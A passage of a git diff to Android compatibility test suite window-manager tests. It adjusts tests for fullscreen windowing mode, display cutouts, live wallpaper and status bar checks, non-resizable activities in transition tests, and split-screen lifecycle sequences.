+        // Here we only need to account for left & right cutout areas.
+        if (hGravity == GRAVITY_HOR_LEFT) {
+            return cutout.getSafeInsetLeft();
+        } else if (hGravity == GRAVITY_HOR_RIGHT) {
+            return cutout.getSafeInsetRight();
+        } else {
+            return 0;
         }
     }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java
index b6fc590..3584353 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java
@@ -17,6 +17,7 @@
 package android.server.wm;
 
 import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
 import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_SECONDARY;
 import static android.server.wm.WindowManagerState.STATE_RESUMED;
 import static android.server.wm.WindowManagerState.STATE_STOPPED;
@@ -149,7 +150,7 @@
 
         // Launch a resizeable activity on new secondary display.
         separateTestJournal();
-        launchActivityOnDisplay(RESIZEABLE_ACTIVITY, newDisplay.mId);
+        launchActivityOnDisplay(RESIZEABLE_ACTIVITY, WINDOWING_MODE_FULLSCREEN, newDisplay.mId);
         waitAndAssertActivityStateOnDisplay(RESIZEABLE_ACTIVITY, STATE_RESUMED, newDisplay.mId,
                 "Launched activity must be resumed");
 
@@ -821,7 +822,8 @@
 
         getLaunchActivityBuilder().setUseInstrumentation()
                 .setTargetActivity(SDK_27_LAUNCHING_ACTIVITY).setNewTask(true)
-                .setDisplayId(DEFAULT_DISPLAY).execute();
+                .setDisplayId(DEFAULT_DISPLAY).setWindowingMode(WINDOWING_MODE_FULLSCREEN)
+                .execute();
         waitAndAssertTopResumedActivity(SDK_27_LAUNCHING_ACTIVITY, DEFAULT_DISPLAY,
                 "Activity launched on default display must be resumed and focused");
 
@@ -831,7 +833,8 @@
 
         getLaunchActivityBuilder().setUseInstrumentation()
                 .setTargetActivity(SDK_27_SEPARATE_PROCESS_ACTIVITY).setNewTask(true)
-                .setDisplayId(DEFAULT_DISPLAY).execute();
+                .setDisplayId(DEFAULT_DISPLAY).setWindowingMode(WINDOWING_MODE_FULLSCREEN)
+                .execute();
         waitAndAssertTopResumedActivity(SDK_27_SEPARATE_PROCESS_ACTIVITY, DEFAULT_DISPLAY,
                 "Activity launched on default display must be resumed and focused");
         assertTrue("Activity that was on secondary display must be resumed",
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySystemDecorationTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySystemDecorationTests.java
index 5cbe40e..219e78e 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySystemDecorationTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySystemDecorationTests.java
@@ -110,6 +110,8 @@
      */
     @Test
     public void testWallpaperGetDisplayContext() throws Exception {
+        assumeTrue(supportsLiveWallpaper());
+
         final ChangeWallpaperSession wallpaperSession = createManagedChangeWallpaperSession();
         final VirtualDisplaySession virtualDisplaySession = createManagedVirtualDisplaySession();
 
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayTestBase.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayTestBase.java
index 6f97aa6..43ecf71 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayTestBase.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayTestBase.java
@@ -47,6 +47,7 @@
 
 import android.content.ComponentName;
 import android.content.Context;
+import android.content.pm.PackageManager;
 import android.content.res.Configuration;
 import android.os.Bundle;
 import android.provider.Settings;
@@ -736,6 +737,11 @@
         return hasDeviceFeature(FEATURE_ACTIVITIES_ON_SECONDARY_DISPLAYS);
     }
 
+    /** Checks if the device supports wallpaper for multi-display. */
+    protected boolean supportsLiveWallpaper() {
+        return hasDeviceFeature(PackageManager.FEATURE_LIVE_WALLPAPER);
+    }
+
     /** @see ObjectTracker#manage(AutoCloseable) */
     protected ExternalDisplaySession createManagedExternalDisplaySession() {
         return mObjectTracker.manage(new ExternalDisplaySession());
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java b/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
index a03b782..89b310d 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
@@ -72,6 +72,7 @@
 import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
 
 import static org.hamcrest.Matchers.lessThan;
+import static org.hamcrest.Matchers.lessThanOrEqualTo;
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNotEquals;
 import static org.junit.Assert.assertNotNull;
@@ -1103,9 +1104,10 @@
         // Some devices do not support recents or implement it differently (instead of using a
         // separate stack id or as an activity), for those cases the visibility asserts will be
         // ignored
-        pressAppSwitchButtonAndWaitForRecents();
-        mWmState.assertVisibility(LAUNCHING_ACTIVITY, true);
-        mWmState.assertVisibility(TEST_ACTIVITY, false);
+        if (pressAppSwitchButtonAndWaitForRecents()) {
+            mWmState.assertVisibility(LAUNCHING_ACTIVITY, true);
+            mWmState.assertVisibility(TEST_ACTIVITY, false);
+        }
     }
 
     @Test
@@ -1288,8 +1290,12 @@
     private void assertValidPictureInPictureCallbackOrder(ComponentName activityName,
             int windowingMode) {
         final ActivityLifecycleCounts lifecycles = new ActivityLifecycleCounts(activityName);
-        assertEquals(getActivityName(activityName) + " onConfigurationChanged()",
-                1, lifecycles.getCount(ActivityCallback.ON_CONFIGURATION_CHANGED));
+        // There might be one additional config change caused by smallest screen width change when
+        // there are cutout areas on the left & right edges of the display.
+        assertThat(getActivityName(activityName) +
+                        " onConfigurationChanged() shouldn't be triggered more than 2 times",
+                lifecycles.getCount(ActivityCallback.ON_CONFIGURATION_CHANGED),
+                lessThanOrEqualTo(2));
         assertEquals(getActivityName(activityName) + " onMultiWindowModeChanged",
                 windowingMode == WINDOWING_MODE_FULLSCREEN ? 1 : 0,
                 lifecycles.getCount(ActivityCallback.ON_MULTI_WINDOW_MODE_CHANGED));
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java b/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java
index 0fc4bc8..69b472e 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java
@@ -33,6 +33,8 @@
 import org.junit.Before;
 import org.junit.Test;
 
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
+
 /**
  * Build/Install/Run:
  *     atest CtsWindowManagerDeviceTestCases:SplashscreenTests
@@ -59,9 +61,15 @@
         mWmState.waitForAppTransitionIdleOnDisplay(DEFAULT_DISPLAY);
         mWmState.getStableBounds();
         final Bitmap image = takeScreenshot();
+        int windowingMode = mWmState.getFocusedStackWindowingMode();
+        Rect appBounds = new Rect();
+        appBounds.set(windowingMode == WINDOWING_MODE_FULLSCREEN ?
+                mWmState.getStableBounds() :
+                mWmState.findFirstWindowWithType(
+                        WindowManagerState.WindowState.WINDOW_TYPE_STARTING).getContentInsets());
         // Use ratios to flexibly accomodate circular or not quite rectangular displays
         // Note: Color.BLACK is the pixel color outside of the display region
-        assertColors(image, mWmState.getStableBounds(),
+        assertColors(image, appBounds,
             Color.RED, 0.50f, Color.BLACK, 0.02f);
     }
 
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SurfaceControlTest.java b/tests/framework/base/windowmanager/src/android/server/wm/SurfaceControlTest.java
index d0aa669..501e0bd 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/SurfaceControlTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/SurfaceControlTest.java
@@ -21,6 +21,7 @@
 import static android.server.wm.UiDeviceUtils.pressHomeButton;
 import static android.server.wm.UiDeviceUtils.pressUnlockButton;
 import static android.server.wm.UiDeviceUtils.pressWakeupButton;
+import static android.server.wm.WindowManagerState.getLogicalDisplaySize;
 
 import android.graphics.Canvas;
 import android.graphics.Color;
@@ -76,6 +77,7 @@
 
         mActivity = mActivityRule.getActivity();
         mActivity.dismissPermissionDialog();
+        mActivity.setLogicalDisplaySize(getLogicalDisplaySize());
     }
 
     /**
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SurfaceViewSurfaceValidatorTest.java b/tests/framework/base/windowmanager/src/android/server/wm/SurfaceViewSurfaceValidatorTest.java
index fa6ee9a..6249f54 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/SurfaceViewSurfaceValidatorTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/SurfaceViewSurfaceValidatorTest.java
@@ -18,6 +18,8 @@
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
 
+import static android.server.wm.WindowManagerState.getLogicalDisplaySize;
+
 import android.content.Context;
 import android.graphics.Canvas;
 import android.graphics.Color;
@@ -59,6 +61,7 @@
     public void setup() {
         mActivity = mActivityRule.getActivity();
         mActivity.dismissPermissionDialog();
+        mActivity.setLogicalDisplaySize(getLogicalDisplaySize());
     }
 
     /**
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/TransitionSelectionTests.java b/tests/framework/base/windowmanager/src/android/server/wm/TransitionSelectionTests.java
index fbd3f21..c6778a8 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/TransitionSelectionTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/TransitionSelectionTests.java
@@ -26,10 +26,13 @@
 import static android.server.wm.WindowManagerState.TRANSIT_WALLPAPER_INTRA_OPEN;
 import static android.server.wm.WindowManagerState.TRANSIT_WALLPAPER_OPEN;
 import static android.server.wm.app.Components.BOTTOM_ACTIVITY;
+import static android.server.wm.app.Components.BOTTOM_NON_RESIZABLE_ACTIVITY;
 import static android.server.wm.app.Components.BottomActivity.EXTRA_BOTTOM_WALLPAPER;
 import static android.server.wm.app.Components.BottomActivity.EXTRA_STOP_DELAY;
 import static android.server.wm.app.Components.TOP_ACTIVITY;
+import static android.server.wm.app.Components.TOP_NON_RESIZABLE_ACTIVITY;
 import static android.server.wm.app.Components.TRANSLUCENT_TOP_ACTIVITY;
+import static android.server.wm.app.Components.TRANSLUCENT_TOP_NON_RESIZABLE_ACTIVITY;
 import static android.server.wm.app.Components.TopActivity.EXTRA_FINISH_DELAY;
 import static android.server.wm.app.Components.TopActivity.EXTRA_TOP_WALLPAPER;
 
@@ -98,37 +101,37 @@
     @Test
     public void testOpenTask_NeitherWallpaper() {
         testOpenTask(false /*bottomWallpaper*/, false /*topWallpaper*/,
-                false /*slowStop*/, TRANSIT_TASK_OPEN);
+            true /* topResizable */, false /*slowStop*/, TRANSIT_TASK_OPEN);
     }
 
     @Test
     public void testCloseTask_NeitherWallpaper() {
         testCloseTask(false /*bottomWallpaper*/, false /*topWallpaper*/,
-                false /*slowStop*/, TRANSIT_TASK_CLOSE);
+            true /* topResizable */, false /*slowStop*/, TRANSIT_TASK_CLOSE);
     }
 
     @Test
-    public void testOpenTask_BottomWallpaper() {
+    public void testOpenTask_BottomWallpaper_TopNonResizable() {
         testOpenTask(true /*bottomWallpaper*/, false /*topWallpaper*/,
-                false /*slowStop*/, TRANSIT_WALLPAPER_CLOSE);
+            false /* topResizable */, false /*slowStop*/, TRANSIT_WALLPAPER_CLOSE);
     }
 
     @Test
-    public void testCloseTask_BottomWallpaper() {
+    public void testCloseTask_BottomWallpaper_TopNonResizable() {
         testCloseTask(true /*bottomWallpaper*/, false /*topWallpaper*/,
-                false /*slowStop*/, TRANSIT_WALLPAPER_OPEN);
+            false /* topResizable */, false /*slowStop*/, TRANSIT_WALLPAPER_OPEN);
     }
 
     @Test
     public void testOpenTask_BothWallpaper() {
         testOpenTask(true /*bottomWallpaper*/, true /*topWallpaper*/,
-                false /*slowStop*/, TRANSIT_WALLPAPER_INTRA_OPEN);
+            false /* topResizable */, false /*slowStop*/, TRANSIT_WALLPAPER_INTRA_OPEN);
     }
 
     @Test
     public void testCloseTask_BothWallpaper() {
         testCloseTask(true /*bottomWallpaper*/, true /*topWallpaper*/,
-                false /*slowStop*/, TRANSIT_WALLPAPER_INTRA_CLOSE);
+            false /* topResizable */, false /*slowStop*/, TRANSIT_WALLPAPER_INTRA_CLOSE);
     }
 
     //------------------------------------------------------------------------//
@@ -162,19 +165,19 @@
     @Test
     public void testCloseTask_NeitherWallpaper_SlowStop() {
         testCloseTask(false /*bottomWallpaper*/, false /*topWallpaper*/,
-                true /*slowStop*/, TRANSIT_TASK_CLOSE);
+            true /* topResizable */, true /*slowStop*/, TRANSIT_TASK_CLOSE);
     }
 
     @Test
-    public void testCloseTask_BottomWallpaper_SlowStop() {
+    public void testCloseTask_BottomWallpaper_TopNonResizable_SlowStop() {
         testCloseTask(true /*bottomWallpaper*/, false /*topWallpaper*/,
-                true /*slowStop*/, TRANSIT_WALLPAPER_OPEN);
+            false /* topResizable */, true /*slowStop*/, TRANSIT_WALLPAPER_OPEN);
     }
 
     @Test
     public void testCloseTask_BothWallpaper_SlowStop() {
         testCloseTask(true /*bottomWallpaper*/, true /*topWallpaper*/,
-                true /*slowStop*/, TRANSIT_WALLPAPER_INTRA_CLOSE);
+            false /* topResizable */, true /*slowStop*/, TRANSIT_WALLPAPER_INTRA_CLOSE);
     }
 
     //------------------------------------------------------------------------//
@@ -221,48 +224,54 @@
     private void testOpenActivity(boolean bottomWallpaper,
             boolean topWallpaper, boolean slowStop, String expectedTransit) {
         testTransitionSelection(true /*testOpen*/, false /*testNewTask*/,
-                bottomWallpaper, topWallpaper, false /*topTranslucent*/, slowStop, expectedTransit);
+            bottomWallpaper, topWallpaper, false /*topTranslucent*/, true /* topResizable */,
+            slowStop, expectedTransit);
     }
 
     private void testCloseActivity(boolean bottomWallpaper,
             boolean topWallpaper, boolean slowStop, String expectedTransit) {
         testTransitionSelection(false /*testOpen*/, false /*testNewTask*/,
-                bottomWallpaper, topWallpaper, false /*topTranslucent*/, slowStop, expectedTransit);
+            bottomWallpaper, topWallpaper, false /*topTranslucent*/, true /* topResizable */,
+            slowStop, expectedTransit);
     }
 
     private void testOpenTask(boolean bottomWallpaper,
-            boolean topWallpaper, boolean slowStop, String expectedTransit) {
+        boolean topWallpaper, boolean topResizable, boolean slowStop, String expectedTransit) {
         testTransitionSelection(true /*testOpen*/, true /*testNewTask*/,
-                bottomWallpaper, topWallpaper, false /*topTranslucent*/, slowStop, expectedTransit);
+            bottomWallpaper, topWallpaper, false /*topTranslucent*/, topResizable, slowStop,
+            expectedTransit);
     }
 
     private void testCloseTask(boolean bottomWallpaper,
-            boolean topWallpaper, boolean slowStop, String expectedTransit) {
+        boolean topWallpaper, boolean topResizable, boolean slowStop, String expectedTransit) {
         testTransitionSelection(false /*testOpen*/, true /*testNewTask*/,
-                bottomWallpaper, topWallpaper, false /*topTranslucent*/, slowStop, expectedTransit);
+            bottomWallpaper, topWallpaper, false /*topTranslucent*/,
+            topResizable /* topResizable */, slowStop, expectedTransit);
     }
 
     private void testCloseActivityTranslucent(boolean bottomWallpaper,
             boolean topWallpaper, String expectedTransit) {
         testTransitionSelection(false /*testOpen*/, false /*testNewTask*/,
-                bottomWallpaper, topWallpaper, true /*topTranslucent*/,
-                false /*slowStop*/, expectedTransit);
+            bottomWallpaper, topWallpaper, true /*topTranslucent*/, true /* topResizable */,
+            false /*slowStop*/, expectedTransit);
     }
 
     private void testCloseTaskTranslucent(boolean bottomWallpaper,
             boolean topWallpaper, String expectedTransit) {
         testTransitionSelection(false /*testOpen*/, true /*testNewTask*/,
-                bottomWallpaper, topWallpaper, true /*topTranslucent*/,
-                false /*slowStop*/, expectedTransit);
+            bottomWallpaper, topWallpaper, true /*topTranslucent*/, true /* topResizable */,
+            false /*slowStop*/, expectedTransit);
     }
 
     //------------------------------------------------------------------------//
 
     private void testTransitionSelection(
-            boolean testOpen, boolean testNewTask,
-            boolean bottomWallpaper, boolean topWallpaper, boolean topTranslucent,
-            boolean testSlowStop, String expectedTransit) {
-        String bottomStartCmd = getAmStartCmd(BOTTOM_ACTIVITY);
+        boolean testOpen, boolean testNewTask,
+        boolean bottomWallpaper, boolean topWallpaper, boolean topTranslucent,
+        boolean topResizable, boolean testSlowStop, String expectedTransit) {
+        final ComponentName bottomComponent = bottomWallpaper
+            ? BOTTOM_NON_RESIZABLE_ACTIVITY : BOTTOM_ACTIVITY;
+        String bottomStartCmd = getAmStartCmd(bottomComponent);
         if (bottomWallpaper) {
             bottomStartCmd += " --ez " + EXTRA_BOTTOM_WALLPAPER + " true";
         }
@@ -271,9 +280,18 @@
         }
         executeShellCommand(bottomStartCmd);
 
-        mWmState.computeState(BOTTOM_ACTIVITY);
+        mWmState.computeState(bottomComponent);
 
-        final ComponentName topActivity = topTranslucent ? TRANSLUCENT_TOP_ACTIVITY : TOP_ACTIVITY;
+        final ComponentName topActivity;
+        if (topTranslucent && !topResizable) {
+            topActivity = TRANSLUCENT_TOP_NON_RESIZABLE_ACTIVITY;
+        } else if (topTranslucent) {
+            topActivity = TRANSLUCENT_TOP_ACTIVITY;
+        } else if (!topResizable) {
+            topActivity = TOP_NON_RESIZABLE_ACTIVITY;
+        } else {
+            topActivity = TOP_ACTIVITY;
+        }
         String topStartCmd = getAmStartCmd(topActivity);
         if (testNewTask) {
             topStartCmd += " -f 0x18000000";
@@ -290,7 +308,7 @@
             if (testOpen) {
                 mWmState.computeState(topActivity);
             } else {
-                mWmState.computeState(BOTTOM_ACTIVITY);
+                mWmState.computeState(bottomComponent);
             }
             return expectedTransit.equals(
                     mWmState.getDefaultDisplayLastTransition());
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowContextPolicyTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowContextPolicyTests.java
index 9210263..a115396 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowContextPolicyTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowContextPolicyTests.java
@@ -39,6 +39,7 @@
 
     @Test(expected = UnsupportedOperationException.class)
     public void testCreateTooManyWindowContextWithoutViewThrowException() {
+        createAllowSystemAlertWindowAppOpSession();
         final WindowManagerState.DisplayContent display =  createManagedVirtualDisplaySession()
                 .setSimulateDisplay(true).createDisplay();
         for (int i = 0; i < 6; i++) {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowContextTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowContextTests.java
index 05f1b09..99588ce 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowContextTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowContextTests.java
@@ -40,6 +40,7 @@
     @Test
     @AppModeFull
     public void testWindowContextConfigChanges() {
+        createAllowSystemAlertWindowAppOpSession();
         final WindowManagerState.DisplayContent display =  createManagedVirtualDisplaySession()
                 .setSimulateDisplay(true).createDisplay();
         final Context windowContext = createWindowContext(display.mId);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java
index b6cc9b0..f3905b0 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java
@@ -399,7 +399,7 @@
                 mKeyEventList.add(event);
                 mLockKeyEvent.notify();
             }
-            return super.dispatchKeyEvent(event);
+            return true;
         }
 
         int getKeyEventCount() {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInputTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInputTests.java
index df49664..ce0a51e 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInputTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInputTests.java
@@ -17,6 +17,7 @@
 package android.server.wm;
 
 import static android.server.wm.ActivityManagerTestBase.launchHomeActivityNoWait;
+import static android.server.wm.BarTestUtils.assumeHasStatusBar;
 import static android.server.wm.UiDeviceUtils.pressUnlockButton;
 import static android.server.wm.UiDeviceUtils.pressWakeupButton;
 import static android.view.WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
@@ -239,6 +240,7 @@
     @Test
     public void testInjectToStatusBar() {
         // Try to inject event to status bar.
+        assumeHasStatusBar(mActivityRule);
         final long downTime = SystemClock.uptimeMillis();
         final MotionEvent eventHover = MotionEvent.obtain(
                 downTime, downTime, MotionEvent.ACTION_HOVER_MOVE, 0, 0, 0);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java
index aca3a97..ea3a54b 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java
@@ -424,6 +424,8 @@
         // The swipe action brings down the notification shade which causes subsequent tests to
         // fail.
         if (isAutomotive(mContext)) {
+            // Bring system to a known state before requesting to close system dialogs.
+            launchHomeActivity();
             broadcastCloseSystemDialogs();
         }
     }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleClientTestBase.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleClientTestBase.java
index d3fa81d..58b6325 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleClientTestBase.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleClientTestBase.java
@@ -70,6 +70,7 @@
 
 import java.util.ArrayList;
 import java.util.Arrays;
+import java.util.Collections;
 import java.util.List;
 import java.util.function.Consumer;
 
@@ -687,7 +688,7 @@
     void moveTaskToPrimarySplitScreenAndVerify(Activity activity) {
         getLifecycleLog().clear();
 
-        moveTaskToPrimarySplitScreen(activity.getTaskId());
+        moveTaskToPrimarySplitScreen(activity.getTaskId(), true /* showSideActivity */);
 
         final Class<? extends Activity> activityClass = activity.getClass();
         waitAndAssertActivityEnterSplitScreenTransitions(activityClass, "enterSplitScreen");
@@ -703,20 +704,48 @@
         log("Start waitAndAssertActivitySplitScreenTransitions");
 
         final List<LifecycleLog.ActivityCallback> expectedTransitions =
-                LifecycleVerifier.getSplitScreenTransitionSequence(activityClass);
+                new ArrayList<LifecycleLog.ActivityCallback>(
+                        LifecycleVerifier.getSplitScreenTransitionSequence(activityClass));
+
+        final List<LifecycleLog.ActivityCallback> expectedTransitionForMinimizedDock =
+                LifecycleVerifier.appendMinimizedDockTransitionTrail(expectedTransitions);
 
         mLifecycleTracker.waitForActivityTransitions(activityClass, expectedTransitions);
+
         if (!expectedTransitions.contains(ON_MULTI_WINDOW_MODE_CHANGED)) {
-            LifecycleVerifier.assertSequence(activityClass, getLifecycleLog(),
-                    expectedTransitions, message);
+            LifecycleVerifier.assertSequenceMatchesOneOf(
+                    activityClass,
+                    getLifecycleLog(),
+                    Arrays.asList(expectedTransitions, expectedTransitionForMinimizedDock),
+                    message);
         } else {
             final List<LifecycleLog.ActivityCallback> extraSequence =
-                    Arrays.asList(ON_MULTI_WINDOW_MODE_CHANGED, ON_TOP_POSITION_LOST,
-                            ON_PAUSE, ON_STOP, ON_DESTROY, PRE_ON_CREATE, ON_CREATE,
-                            ON_START, ON_POST_CREATE, ON_RESUME, ON_TOP_POSITION_GAINED,
-                            ON_TOP_POSITION_LOST, ON_PAUSE);
-            LifecycleVerifier.assertSequenceMatchesOneOf(activityClass, getLifecycleLog(),
-                    Arrays.asList(expectedTransitions, extraSequence), message);
+                    new ArrayList<LifecycleLog.ActivityCallback>(
+                            Arrays.asList(ON_MULTI_WINDOW_MODE_CHANGED, ON_TOP_POSITION_LOST,
+                                    ON_PAUSE, ON_STOP, ON_DESTROY, PRE_ON_CREATE, ON_CREATE,
+                                    ON_START, ON_POST_CREATE, ON_RESUME, ON_TOP_POSITION_GAINED));
+            final List<LifecycleLog.ActivityCallback> extraSequenceForMinimizedDock =
+                    LifecycleVerifier.appendMinimizedDockTransitionTrail(extraSequence);
+            final int displayWindowingMode =
+                    getDisplayWindowingModeByActivity(getComponentName(activityClass));
+            if (displayWindowingMode != WINDOWING_MODE_FULLSCREEN) {
+                // For non-fullscreen display mode, there won't be a multi-window callback.
+                expectedTransitions.removeAll(Collections.singleton(ON_MULTI_WINDOW_MODE_CHANGED));
+                expectedTransitionForMinimizedDock.removeAll(
+                        Collections.singleton(ON_MULTI_WINDOW_MODE_CHANGED));
+                extraSequence.removeAll(Collections.singleton(ON_MULTI_WINDOW_MODE_CHANGED));
+                extraSequenceForMinimizedDock.removeAll(
+                        Collections.singleton(ON_MULTI_WINDOW_MODE_CHANGED));
+            }
+            LifecycleVerifier.assertSequenceMatchesOneOf(
+                    activityClass,
+                    getLifecycleLog(),
+                    Arrays.asList(
+                            expectedTransitions,
+                            extraSequence,
+                            expectedTransitionForMinimizedDock,
+                            extraSequenceForMinimizedDock),
+                    message);
         }
     }
 
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleFreeformTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleFreeformTests.java
index 5409191..3c8132c 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleFreeformTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleFreeformTests.java
@@ -17,6 +17,7 @@
 package android.server.wm.lifecycle;
 
 import static android.app.WindowConfiguration.WINDOWING_MODE_FREEFORM;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
 import static android.content.Intent.FLAG_ACTIVITY_MULTIPLE_TASK;
 import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
 import static android.server.wm.WindowManagerState.STATE_PAUSED;
@@ -64,7 +65,7 @@
     @Test
     public void testLaunchInFreeform() throws Exception {
         // Launch a fullscreen activity, mainly to prevent setting pending due to task switching.
-        launchActivityAndWait(CallbackTrackingActivity.class);
+        launchActivityInFullscreenAndWait(CallbackTrackingActivity.class);
 
         // Launch an activity in freeform
         final ActivityOptions launchOptions = ActivityOptions.makeBasic();
@@ -85,7 +86,7 @@
     @Test
     public void testMultiLaunchInFreeform() throws Exception {
         // Launch a fullscreen activity, mainly to prevent setting pending due to task switching.
-        launchActivityAndWait(CallbackTrackingActivity.class);
+        launchActivityInFullscreenAndWait(CallbackTrackingActivity.class);
 
         final ActivityOptions launchOptions = ActivityOptions.makeBasic();
         launchOptions.setLaunchWindowingMode(WINDOWING_MODE_FREEFORM);
@@ -123,7 +124,7 @@
     @Test
     public void testLaunchOccludingInFreeform() throws Exception {
         // Launch a fullscreen activity, mainly to prevent setting pending due to task switching.
-        launchActivityAndWait(CallbackTrackingActivity.class);
+        launchActivityInFullscreenAndWait(CallbackTrackingActivity.class);
 
         final ActivityOptions launchOptions = ActivityOptions.makeBasic();
         launchOptions.setLaunchWindowingMode(WINDOWING_MODE_FREEFORM);
@@ -134,7 +135,7 @@
                 .setOptions(launchOptions)
                 .launch();
 
-        final Activity secondActivity = launchActivityAndWait(SecondActivity.class);
+        final Activity secondActivity = launchActivityInFullscreenAndWait(SecondActivity.class);
 
         new Launcher(ThirdActivity.class)
                 .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
@@ -181,7 +182,7 @@
     @Test
     public void testLaunchTranslucentInFreeform() throws Exception {
         // Launch a fullscreen activity, mainly to prevent setting pending due to task switching.
-        launchActivityAndWait(CallbackTrackingActivity.class);
+        launchActivityInFullscreenAndWait(CallbackTrackingActivity.class);
 
         final ActivityOptions launchOptions = ActivityOptions.makeBasic();
         launchOptions.setLaunchWindowingMode(WINDOWING_MODE_FREEFORM);
@@ -192,7 +193,8 @@
                 .setOptions(launchOptions)
                 .launch();
 
-        final Activity transparentActivity = launchActivityAndWait(TranslucentActivity.class);
+        final Activity transparentActivity =
+            launchActivityInFullscreenAndWait(TranslucentActivity.class);
 
         new Launcher(ThirdActivity.class)
                 .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
@@ -267,4 +269,13 @@
         waitAndAssertActivityState(SDK_27_LAUNCHING_ACTIVITY, STATE_RESUMED,
                 "Activity must be resumed.");
     }
+
+    private Activity launchActivityInFullscreenAndWait(Class<? extends Activity> activityClass)
+        throws Exception {
+        final ActivityOptions launchOptions = ActivityOptions.makeBasic();
+        launchOptions.setLaunchWindowingMode(WINDOWING_MODE_FULLSCREEN);
+        return new Launcher(activityClass)
+            .setOptions(launchOptions)
+            .launch();
+    }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleKeyguardTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleKeyguardTests.java
index 9fbd1da..0062dac 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleKeyguardTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleKeyguardTests.java
@@ -98,10 +98,6 @@
                 .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
                 .launch();
 
-        // Leaving the minimized dock, the stack state on the primary split screen should change
-        // from Paused to Resumed.
-        waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
-
         // Show and hide lock screen
         getLifecycleLog().clear();
         try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
